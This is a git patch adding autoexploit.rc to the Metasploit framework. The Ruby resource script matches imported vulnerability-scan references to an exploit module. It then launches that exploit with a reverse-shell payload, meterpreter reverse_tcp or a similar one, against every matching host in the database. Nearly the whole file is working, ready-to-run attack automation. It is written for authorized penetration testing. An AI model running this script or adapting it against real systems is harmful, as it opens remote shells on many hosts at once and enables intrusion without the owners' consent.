From 9aeb4694f79fa4c877fab11413b6c1dbcbb89422 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 6 Jul 2012 15:02:28 -0500 Subject: [PATCH] Add autoexploit.rc based on #561 Modified from #561. It has gone through a lot of changes, including: * It now relies mainly on arguments instead of datastore options. This is because when an user uses datadatore options, the rc script cannot really start automatically without some config in advance, which is a hassle. * We no longer have to manually connect to a database before being able to use the rc script. It can automtaically connect to it if the necessary arguments are supplied (user/pass/workspace) * Better error handling * Actually exits msfconsole when something fails or not ready * The older script does not select a payload. This one will automatically select one based on compatible payloads. * Instead of manually specifying an "identifier" for reference matching, this is now automatic. * Lots of cleanup * Update help_me --- scripts/resource/autoexploit.rc | 183 ++++++++++++++++++++++++++++++++ 1 file changed, 183 insertions(+) create mode 100644 scripts/resource/autoexploit.rc diff --git a/scripts/resource/autoexploit.rc b/scripts/resource/autoexploit.rc new file mode 100644 index 0000000000..5d97cf2198 --- /dev/null +++ b/scripts/resource/autoexploit.rc @@ -0,0 +1,183 @@ +# easy-autoexploiter.rc +# Author: m-1-k-3 (Web: http://www.s3cur1ty.de / Twitter: @s3cur1ty_de) + + + +# +# Print the help function +# +def help_me + help = %Q| + HELP: + This Metasploit RC-File can be used to automate the exploitation process. Before + using this script, you should import your vulnerability results to Metasploit, and + then it will exploit each possible host when the there is a match to one of the + references. A reverse shell is automatically selected for you. When available, + it will always default to a suitable meterpreter. + + Usage: + ./msfconsole -r [rc_path] [db_user] [db_pass] [db_workspace] [module_path] + + Arguments: + rc_path - Full path to this RC script + db_user - Username for the database + db_pass - Password for the database + db_worksapce - Workspace for the database + module_path - Path to the exploit + + Authors: + m-1-k-3 (m1k3[at]s3cur1ty.de) + sinn3r () + | + help = help.gsub(/^\t/, '') + print_line(help) +end + + +# +# Load an exploit +# +def load_exploit(path) + framework.exploits.create(path) +end + + +# +# See if there is any unmatched refs +# +def ref_has_match(vuln_refs, exp_refs) + # exp_refs is an array of URLs + # vuln_refs is a collection of Mdm::Ref, with 'name' being the most useful info + # (may contain a link) + vuln_refs.each do |ref| + n = ref.name + n = n.gsub(/^CVE\-/, '') + n = n.gsub(/^OSVDB\-/, '') + n = n.gsub(/^MSB\-/, '') + n = n.gsub(/^EDB-/, '') + + exp_refs.each { |e| return true if e.to_s =~ /#{n}/ } + end + + return false +end + + +# +# Automatically select a payload in this order: +# Windows meterpreter, linux, osx, php, java, generic +# +def select_payload(exploit) + windows = 'windows/meterpreter/reverse_tcp' + linux = 'linux/x86/reverse_tcp' + osx = 'osx/x86/shell_reverse_tcp' + php = 'php/meterpreter_reverse_tcp' + multi = 'java/meterpreter/reverse_tcp' + generic = 'generic/shell_reverse_tcp' + + payloads = [] + exploit.compatible_payloads.each do |p| + payloads << p[0] + end + + if payloads.include?(windows) + return windows + elsif payloads.include?(linux) + return linux + elsif payloads.include?(php) + return php + elsif payloads.include?(multi) + return multi + elsif payloads.include?(generic) + return generic + else + # WTF? This exploit supports NONE of our favorite payloads? + # What kinda BS is this? + return payload + end +end + + +# +# Connect to the database +# +def init_db(username, password, workspace) + # Check params + if username.empty? or password.empty? + raise RuntimeError, "You must have a credential to connect to your database" + end + + print_status("Connecting to database: #{workspace}") + run_single("db_connect #{username}:#{password}@localhost:5432/#{workspace}") +end + + +# +# Start the exploitation +# +def auto_exploit(module_path) + exploit = load_exploit(module_path) + + if exploit.nil? + # Force msfconsole to abort, because we failed to initialize the rc script properly + raise RuntimeError, "Exploit not found: #{module_path}" + end + + exploit_refs = exploit.references + + get_payload = select_payload(exploit) + lhost = Rex::Socket.source_address('50.50.50.50') + print_status("Payload selected: #{get_payload} (lhost=#{lhost})") + + framework.db.workspace.vulns.each do |vuln| + next if not ref_has_match(vuln.refs, exploit_refs) + print_status("Using #{exploit.shortname} against host #{vuln.host.address.to_s}") + run_single("use #{exploit.fullname}") + run_single("set RHOST #{vuln.host.address.to_s}") + run_single("set payload #{get_payload}") + run_single("set lhost #{lhost}") + run_single("exploit -z") + select(nil, nil, nil, 1) + run_single("back") + end +end + + +# Print help upon request +if ARGV.join('') =~ /^help$/i + help_me + run_single('exit') + return +end + +#[db_user] [db_pass] [db_workspace] [module_path] +u = ARGV.shift || 'postgres' #default username in msf manual +p = ARGV.shift || '' +w = ARGV.shift || 'msf' #default workspace in msf manual +m = ARGV.shift || '' + +# Initilize the database +begin + init_db(u, p, w) +rescue RuntimeError => e + print_error(e.message) + run_single('exit') + return +rescue ::Exception => e + raise e +end + +# Run auto exploit +begin + if framework.datastore['MODULE'].nil? + auto_exploit(m) + else + auto_exploit(framework.datastore['MODULE']) + end +rescue RuntimeError => e + print_error(e.message) + run_single('exit') + return +end + +